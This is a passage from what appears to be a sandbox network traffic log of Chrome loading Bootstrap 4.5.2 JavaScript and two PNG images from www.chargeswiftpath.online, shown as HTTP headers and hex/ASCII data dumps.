en-US,en;q=0.9 Cookie: PHPSESSID=2e663a2ce722f9beb8deebd73c4952c1
2025-01-08 14:45:41 UTC	1011	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:45:41 GMT Content-Type: application/x-javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close last-modified: Mon, 11 Nov 2024 10:53:58 GMT Cache-Control: max-age=31536000 expires: Sat, 20 Dec 2025 16:22:39 GMT vary: Accept-Encoding,User-Agent content-language: en-us CF-Cache-Status: HIT Age: 1635782 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FpjC2ibhEWrJRskpfTVS%2FOR%2BTTHYfSQqmQPij2ayM9lTycTdR8KtiHWtHaLSluHhx6iKf2iA8MtgKCNqR93F9dOsI3cnVYaF0Jh8eFey1I%2ByUW0Ha0209f868PNb0OkDQGMYXKcqSLofvqXzgg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf906b8eeefa7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2112&min_rtt=2002&rtt_var=972&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=1346&delivery_rate=1010730&cwnd=161&unsent_bytes=0&cid=713680b98d9909a1&ts=149&x=0"
2025-01-08 14:45:41 UTC	358	IN	Data Raw: 37 63 38 33 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 35 2e 32 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 30 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c Data Ascii: 7c83/! Bootstrap v4.5.2 (https://getbootstrap.com/) * Copyright 2011-2020 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */!function(t,
2025-01-08 14:45:41 UTC	1369	IN	Data Raw: 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 5d 2c 65 29 3a 65 28 28 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 7c 7c 73 65 6c 66 29 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 29 7d 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 Data Ascii: define&&define.amd?define(["exports","jquery"],e):e((t="undefined"!=typeof globalThis?globalThis:t\|\|self).bootstrap={},t.jQuery)}(this,(function(t,e){"use strict";function n(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.conf
2025-01-08 14:45:41 UTC	1369	IN	Data Raw: 6c 6f 61 74 28 6e 29 2b 70 61 72 73 65 46 6c 6f 61 74 28 69 29 29 29 3a 30 7d 2c 72 65 66 6c 6f 77 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 6f 66 66 73 65 74 48 65 69 67 68 74 7d 2c 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 65 28 74 29 2e 74 72 69 67 67 65 72 28 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 Data Ascii: loat(n)+parseFloat(i))):0},reflow:function(t){return t.offsetHeight},triggerTransitionEnd:function(t){e(t).trigger("transitionend")},supportsTransitionEnd:function(){return Boolean("transitionend")},isElement:function(t){return(t[0]\|\|t).nodeType},typeChec
2025-01-08 14:45:41 UTC	1369	IN	Data Raw: 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 2c 68 61 6e 64 6c 65 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 65 28 74 2e 74 61 72 67 65 74 29 2e 69 73 28 74 68 69 73 29 29 72 65 74 75 72 6e 20 74 2e 68 61 6e 64 6c 65 4f 62 6a 2e 68 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 3b 76 61 72 20 61 3d 22 61 6c 65 72 74 22 2c 6c 3d 65 2e 66 6e 5b 61 5d 2c 63 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 6e 3d 74 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 6e 2e 63 6c 6f 73 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3b 74 26 26 28 65 3d 74 68 69 73 2e 5f 67 65 Data Ascii: transitionend",handle:function(t){if(e(t.target).is(this))return t.handleObj.handler.apply(this,arguments)}};var a="alert",l=e.fn[a],c=function(){function t(t){this._element=t}var n=t.prototype;return n.close=function(t){var e=this._element;t&&(e=this._ge
2025-01-08 14:45:41 UTC	1369	IN	Data Raw: 73 3d 22 61 6c 65 72 74 22 5d 27 2c 63 2e 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 28 6e 65 77 20 63 29 29 2c 65 2e 66 6e 5b 61 5d 3d 63 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 65 2e 66 6e 5b 61 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 63 2c 65 2e 66 6e 5b 61 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 2e 66 6e 5b 61 5d 3d 6c 2c 63 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 3b 76 61 72 20 68 3d 65 2e 66 6e 2e 62 75 74 74 6f 6e 2c 75 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 6e 3d 74 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 6e 2e 74 6f 67 67 6c 65 3d 66 75 6e 63 74 69 6f Data Ascii: s="alert"]',c._handleDismiss(new c)),e.fn[a]=c._jQueryInterface,e.fn[a].Constructor=c,e.fn[a].noConflict=function(){return e.fn[a]=l,c._jQueryInterface};var h=e.fn.button,u=function(){function t(t){this._element=t}var n=t.prototype;return n.toggle=functio
2025-01-08 14:45:41 UTC	1369	IN	Data Raw: 6e 22 29 5b 30 5d 29 2c 21 6e 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 65 6c 73 65 7b 76 61 72 20 6f 3d 6e 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 27 69 6e 70 75 74 3a 6e 6f 74 28 5b 74 79 70 65 3d 22 68 69 64 64 65 6e 22 5d 29 27 29 3b 69 66 28 6f 26 26 28 6f 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6f 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 29 72 65 74 75 72 6e 20 76 6f 69 64 20 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 28 22 4c 41 42 45 Data Ascii: n")[0]),!n\|\|n.hasAttribute("disabled")\|\|n.classList.contains("disabled"))t.preventDefault();else{var o=n.querySelector('input:not([type="hidden"])');if(o&&(o.hasAttribute("disabled")\|\|o.classList.contains("disabled")))return void t.preventDefault();("LABE
2025-01-08 14:45:41 UTC	1369	IN	Data Raw: 73 65 3a 22 28 73 74 72 69 6e 67 7c 62 6f 6f 6c 65 61 6e 29 22 2c 77 72 61 70 3a 22 62 6f 6f 6c 65 61 6e 22 2c 74 6f 75 63 68 3a 22 62 6f 6f 6c 65 61 6e 22 7d 2c 5f 3d 7b 54 4f 55 43 48 3a 22 74 6f 75 63 68 22 2c 50 45 4e 3a 22 70 65 6e 22 7d 2c 76 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 2c 65 29 7b 74 68 69 73 2e 5f 69 74 65 6d 73 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 3d 21 31 2c 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 3d 21 31 2c 74 68 69 73 2e 74 6f 75 63 68 54 69 6d 65 6f 75 74 3d 6e 75 6c 6c 2c 74 68 69 73 2e 74 6f 75 63 68 53 74 61 72 74 58 3d 30 2c 74 68 69 Data Ascii: se:"(string\|boolean)",wrap:"boolean",touch:"boolean"},_={TOUCH:"touch",PEN:"pen"},v=function(){function t(t,e){this._items=null,this._interval=null,this._activeElement=null,this._isPaused=!1,this._isSliding=!1,this.touchTimeout=null,this.touchStartX=0,thi
2025-01-08 14:45:41 UTC	1369	IN	Data Raw: 74 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 61 63 74 69 76 65 2e 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 22 29 3b 76 61 72 20 69 3d 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 29 3b 69 66 28 21 28 74 3e 74 68 69 73 2e 5f 69 74 65 6d 73 2e 6c 65 6e 67 74 68 2d 31 7c 7c 74 3c 30 29 29 69 66 28 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 29 65 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 65 28 22 73 6c 69 64 2e 62 73 2e 63 61 72 6f 75 73 65 6c 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 2e 74 6f 28 74 29 7d 29 29 Data Ascii: t){var n=this;this._activeElement=this._element.querySelector(".active.carousel-item");var i=this._getItemIndex(this._activeElement);if(!(t>this._items.length-1\|\|t<0))if(this._isSliding)e(this._element).one("slid.bs.carousel",(function(){return n.to(t)}))
2025-01-08 14:45:41 UTC	1369	IN	Data Raw: 6f 75 63 68 53 74 61 72 74 58 3d 65 2e 6f 72 69 67 69 6e 61 6c 45 76 65 6e 74 2e 63 6c 69 65 6e 74 58 3a 74 2e 5f 70 6f 69 6e 74 65 72 45 76 65 6e 74 7c 7c 28 74 2e 74 6f 75 63 68 53 74 61 72 74 58 3d 65 2e 6f 72 69 67 69 6e 61 6c 45 76 65 6e 74 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 63 6c 69 65 6e 74 58 29 7d 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 2e 5f 70 6f 69 6e 74 65 72 45 76 65 6e 74 26 26 5f 5b 65 2e 6f 72 69 67 69 6e 61 6c 45 76 65 6e 74 2e 70 6f 69 6e 74 65 72 54 79 70 65 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 5d 26 26 28 74 2e 74 6f 75 63 68 44 65 6c 74 61 58 3d 65 2e 6f 72 69 67 69 6e 61 6c 45 76 65 6e 74 2e 63 6c 69 65 6e 74 58 2d 74 2e 74 6f 75 63 68 53 74 61 72 74 58 29 2c 74 2e 5f 68 61 6e 64 6c 65 53 77 69 70 65 28 29 2c 22 68 6f Data Ascii: ouchStartX=e.originalEvent.clientX:t._pointerEvent\|\|(t.touchStartX=e.originalEvent.touches[0].clientX)},i=function(e){t._pointerEvent&&_[e.originalEvent.pointerType.toUpperCase()]&&(t.touchDeltaX=e.originalEvent.clientX-t.touchStartX),t._handleSwipe(),"ho
2025-01-08 14:45:41 UTC	1369	IN	Data Raw: 6c 6c 28 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2e 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 22 29 29 3a 5b 5d 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 74 29 7d 2c 6e 2e 5f 67 65 74 49 74 65 6d 42 79 44 69 72 65 63 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 22 6e 65 78 74 22 3d 3d 3d 74 2c 69 3d 22 70 72 65 76 22 3d 3d 3d 74 2c 6f 3d 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 65 29 2c 72 3d 74 68 69 73 2e 5f 69 74 65 6d 73 2e 6c 65 6e 67 74 68 2d 31 3b 69 66 28 28 69 26 26 30 3d 3d 3d 6f 7c 7c 6e 26 26 6f 3d 3d 3d 72 29 26 26 21 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 77 72 61 70 29 72 65 74 75 72 6e 20 65 3b 76 61 72 20 73 3d 28 6f 2b 28 Data Ascii: ll(t.parentNode.querySelectorAll(".carousel-item")):[],this._items.indexOf(t)},n._getItemByDirection=function(t,e){var n="next"===t,i="prev"===t,o=this._getItemIndex(e),r=this._items.length-1;if((i&&0===o\|\|n&&o===r)&&!this._config.wrap)return e;var s=(o+(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.16	49885	188.114.97.3	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:45:42 UTC	442	OUT	GET /new/67234/app/desktop/images/secure2.png HTTP/1.1 Host: www.chargeswiftpath.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=2e663a2ce722f9beb8deebd73c4952c1
2025-01-08 14:45:42 UTC	963	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:45:42 GMT Content-Type: image/png Content-Length: 2691 Connection: close last-modified: Mon, 11 Nov 2024 10:53:58 GMT Cache-Control: public, max-age=31536000, must-revalidate expires: Sat, 20 Dec 2025 16:22:39 GMT CF-Cache-Status: HIT Age: 1635783 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rFIQ4wrjfFotvds3IL64zBu5X0bvmufuRfzR6WZnIOiybnIZe4%2FpMnnWlMdM5h%2BnYCUOuKOwMT5dNjefNaFTN3EsSi3ECNoIT8lfWCBheiuLA9q%2F0vL6fP989774AoWt5sqrC%2FR5QLiOgsLRdg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf90bcc2d436d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1791&min_rtt=1787&rtt_var=678&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=1020&delivery_rate=1605277&cwnd=162&unsent_bytes=0&cid=44aabeb0b8648f22&ts=154&x=0"
2025-01-08 14:45:42 UTC	406	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8c 00 00 00 3c 08 03 00 00 00 83 d4 a2 79 00 00 02 a6 50 4c 54 45 00 00 00 c8 bc c3 ae 29 77 ac 27 75 d1 84 b3 a9 1e 6f b6 42 86 28 28 28 94 94 94 a0 a0 a0 cb c6 c9 dc d1 d8 3c 3c 3c 3a 3a 3a ac a7 aa 11 11 11 a5 a5 a5 bc bc bc 8c 8c 8c ec e5 e9 ad ad ad 1e 1e 1e ea e8 e9 43 43 43 1a 1a 1a 42 31 3b 41 41 41 31 31 31 01 01 01 51 51 51 ba ba ba db d2 d8 d7 d3 d5 4d 4d 4d dc d8 db ae 2b 78 33 33 33 5e 5e 5e 72 72 72 00 00 00 cf 7f af 84 84 84 6f 6f 6f 11 11 11 a7 91 9e 2e 2e 2e b3 37 80 47 47 47 38 38 38 39 39 39 3f 3f 3f 2f 2f 2f 56 56 56 41 41 41 02 02 02 61 61 61 62 62 62 21 21 21 69 69 69 2c 2c 2c 31 31 31 0d 0d 0d b0 b0 b0 f1 eb ef 67 67 67 e5 dd e2 f2 ec f0 21 21 21 32 32 32 24 24 24 3d 3d 3d 14 Data Ascii: PNGIHDR<yPLTE)w'uoB(((<<<:::CCCB1;AAA111QQQMMM+x333^^^rrrooo...7GGG888999???///VVVAAAaaabbb!!!iii,,,111ggg!!!222$$$===
2025-01-08 14:45:42 UTC	1369	IN	Data Raw: 73 27 27 27 64 64 64 d6 91 ba 47 47 47 07 07 07 c7 6b a3 72 72 72 85 85 85 07 07 07 99 99 99 dc a1 c5 00 00 00 e1 ae cd 73 73 73 9d 9d 9d a9 27 70 59 59 59 02 02 02 ac 2f 75 c0 59 96 af 2d 78 c9 6f a4 be 54 93 29 29 29 65 65 65 b3 37 81 74 74 74 1b 1b 1b 97 00 52 81 81 81 d9 99 c0 46 46 46 8a 8a 8a 99 99 99 80 80 80 bd bd bd af 2b 78 d8 97 bf 5d 5d 5d b6 3a 84 db 9c c2 30 30 30 72 72 72 9f 08 5e 9e 06 5d 00 00 00 af 2c 79 11 11 11 c3 63 9c a5 12 68 a9 1f 70 b7 42 87 a2 0c 63 c4 62 9c bd 4c 8f 7a 7a 7a c1 5b 98 ad 28 75 c4 6a 9d 83 83 83 a7 a7 a7 cb 74 a8 0b 0b 0b 99 99 99 a8 a8 a8 ba 45 8c e4 b5 d1 b8 b8 b8 25 25 25 35 35 35 ed ed ed ba 45 8c 91 00 48 99 02 55 00 00 00 9a 9a 9a 1f 1f 1f d8 98 bf b3 38 80 cf 7f af af 30 7a 9a 00 57 8f 00 45 a1 0c 63 00 00 Data Ascii: s'''dddGGGkrrrsss'pYYY/uY-xoT)))eee7tttRFFF+x]]]:000rrr^],ychpBcbLzzz[(ujtE%%%555EHU80zWEc
2025-01-08 14:45:42 UTC	916	IN	Data Raw: a9 c9 bb 8a ef 22 3e 5b 2a 8b 09 b4 93 75 36 82 25 94 fc 33 a6 d9 8f c7 c4 d9 0e 42 44 66 39 1a da 65 42 56 ab 24 cf 94 2c 54 27 06 d9 9b f9 ef ab 77 04 04 2d 17 6e 36 55 3a 19 74 20 ca 00 7a 93 26 13 80 ff 1e e1 1e 51 10 44 51 22 60 d5 28 c0 f4 a3 4e c0 36 f6 83 bf 6a 05 4a 75 a1 e1 c2 d0 49 02 47 de 81 51 5f 12 6a f2 ae 40 b4 9a 2d ea ca 63 5c c9 1b 4c 67 32 a7 9d e8 9d db 53 3d 50 42 1d d6 72 40 46 12 15 3d 92 af d7 48 9e 64 68 17 58 e3 b2 e4 87 24 94 24 4f a3 99 f3 7b ee 5f e4 07 a8 97 15 51 d8 68 8c 9a 45 d6 de 52 54 ad 78 2f 18 c5 45 de 60 2c 19 0c 02 0b 4c 55 c4 e8 8b fa 42 d0 3f f4 cc b6 f8 a3 08 9a d3 a3 97 ef 7c 17 60 80 6f af 39 be b2 a7 d2 54 ef c4 c6 a1 7d dc b1 d6 77 4e 2f df 66 5c 1c 09 cc 49 ee 39 73 7a ec eb b1 1c cb 7c e7 a7 fa 0e 77 f8 Data Ascii: ">[*u6%3BDf9eBV$,T'w-n6U:t z&QDQ"`(N6jJuIGQ_j@-c\Lg2S=PBr@F=HdhX$$O{_QhERTx/E`,LUB?\|`o9T}wN/f\I9sz\|w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.16	49888	188.114.97.3	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:45:42 UTC	442	OUT	GET /new/67234/app/desktop/images/secure1.png HTTP/1.1 Host: www.chargeswiftpath.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=2e663a2ce722f9beb8deebd73c4952c1
2025-01-08 14:45:42 UTC	963	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:45:42 GMT Content-Type: image/png Content-Length: 3071 Connection: close last-modified: Mon, 11 Nov 2024 10:53:58 GMT Cache-Control: public, max-age=31536000, must-revalidate expires: Sat, 20 Dec 2025 16:22:39 GMT CF-Cache-Status: HIT Age: 1635783 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=52YICdt%2ByTku782ilevjo4%2BNr5zuU2N7mhRj%2BirWge2hZHSU0rNrJPSnYheS5vALk8ucDyYCIdC6AZ7aCqmPPPOxOENR3QEhJ2CM2QCqgiQlNvy719kWEC5QeUMxQCGGgr8Thf%2B8yE3rYNimZg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf90c383e4384-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1927&min_rtt=1592&rtt_var=836&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2856&recv_bytes=1020&delivery_rate=1834170&cwnd=234&unsent_bytes=0&cid=7f6abdea7927926b&ts=153&x=0"
2025-01-08 14:45:42 UTC	406	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8c 00 00 00 3c 08 03 00 00 00 83 d4 a2 79 00 00 02 ac 50 4c 54 45 00 00 00 c3 c3 c4 cc cb cc b6 b5 b6 a0 9f a1 d8 d7 d8 2f 2d 30 1f 1c 20 26 23 27 99 98 99 63 61 64 43 41 44 ad ac ad d5 d6 d6 fb fb fb 2e 2c 2f 42 40 43 30 2e 31 52 50 53 85 83 85 7a 79 7b 7a 78 7a 6e 6c 6e 87 85 87 82 80 83 b2 b1 b3 d7 d7 d8 cd cc cd 64 62 65 46 46 49 43 40 43 52 51 53 51 4f 52 69 67 69 7e 7c 7e 72 70 73 95 94 96 c5 c4 c5 a6 a5 a6 aa ab ac 99 9b 9c 2d 2b 2e 18 15 18 5f 5d 5f 78 77 79 bb ba bb 89 88 8a a9 a8 a9 1a 17 1b 27 25 28 3c 39 3d 43 40 43 58 56 59 4b 49 4c 2b 28 2c 71 6f 71 0b 09 0c 87 85 87 a3 a2 a3 88 86 88 e6 e7 e7 b7 ba ba 1a 18 1b 36 34 37 5a 58 5a d0 d2 d2 ee ee ee 2e 2b 2f 38 35 39 07 04 07 aa ad ad ff Data Ascii: PNGIHDR<yPLTE/-0 &#'cadCAD.,/B@C0.1RPSzy{zxznlndbeFFIC@CRQSQORigi~\|~rps-+._]_xwy'%(<9=C@CXVYKIL+(,qoq647ZXZ.+/859
2025-01-08 14:45:42 UTC	1369	IN	Data Raw: 08 19 16 1a 15 12 16 0f 0c 10 0b 08 0c c9 0a 36 1d 1a 1e c1 0e 39 bb 11 3a b2 12 3b ad 15 3d b8 12 3a c0 c1 c1 b1 0c 30 a7 17 3d cc 0b 38 23 20 24 6d 00 01 e0 e0 e1 cd cd ce c9 ca cb a5 00 18 e9 e8 e9 d9 d8 d9 d0 d0 d1 af b0 b1 a2 1b 42 bb 00 10 ab 00 0f b1 00 07 76 00 04 f9 f5 f6 f1 f1 f1 e3 e3 e3 dc dc dc b3 b4 b5 c9 02 2a b9 00 1d c6 c6 c8 ce 8a 97 83 84 86 b9 6d 7b 75 76 78 d2 0a 39 a5 00 06 f2 f3 f3 ed ed ee f7 e7 ea f2 db e1 e5 bc c7 e6 83 9b d6 75 8c 6f 70 72 b1 59 6c aa 5a 6a a0 12 39 a8 03 27 c4 01 22 b0 00 1e 94 00 19 e1 b0 bb e0 9d ad d0 44 66 b3 1f 42 bc 08 31 9e 00 19 86 02 13 81 00 09 b9 ba bb bf 7f 8a c6 6d 83 c3 63 7a b3 43 5f a6 49 5d 81 04 27 9b 06 25 71 00 21 c3 00 14 e7 d0 d6 ec c5 ce d3 af bb e2 a5 b4 e4 91 a6 a2 a4 a5 d5 96 a4 8a 8b Data Ascii: 69:;=:0=8# $mBv*m{uvx9uoprYlZj9'"DfB1mczC_I]'%q!
2025-01-08 14:45:42 UTC	1296	IN	Data Raw: 79 ad 10 fd d5 d0 17 b1 d1 64 8a 80 e1 8b 22 2f 8a 46 89 e6 c9 22 43 49 0b 67 29 53 a9 22 25 1c 25 47 76 60 0d 9d 8b 1d b9 1d 17 0e 90 4c c5 5d 8e e1 94 b4 66 87 1c 3c 67 f3 74 21 af 80 cb 2d 1b 40 07 23 05 3e 35 12 02 25 9c 0f 30 49 c2 30 6f e4 8d 61 f5 a7 79 6a 4c bc 69 e2 e0 c1 83 f5 46 6c 61 29 93 4a 40 53 ac 43 0b 32 86 16 28 f9 3b b8 89 f4 95 35 4c 31 67 50 9f 64 c6 a5 c4 5d 7a ca 29 12 09 ca f5 cc da f8 a4 c4 0b 67 39 2e 64 93 17 db 17 88 26 79 fd a2 81 b6 1c a6 42 1b 36 bd 38 86 fa 7a 3a 10 76 3c 4a aa 00 c4 de 14 1b 50 66 94 06 bc 9b 20 c3 38 0c ac a1 5d 7a 29 fd fd 63 f1 34 43 4f 14 89 dd 67 94 eb 46 26 53 75 9a 73 da 14 a2 61 9b de d5 95 2d 57 4f d7 31 0e d0 54 af d7 ab c1 a1 63 94 10 d5 bf b1 ab ab 32 b7 7d 5d c7 44 78 eb fd 1a b3 d8 de cf 79 Data Ascii: yd"/F"CIg)S"%%Gv`L]f<gt!-@#>5%0I0oayjLiFla)J@SC2(;5L1gPd]z)g9.d&yB68z:v<JPf 8]z)c4COgF&Susa-WO1Tc2}]Dxy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.16	49889	188.114.97.3	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
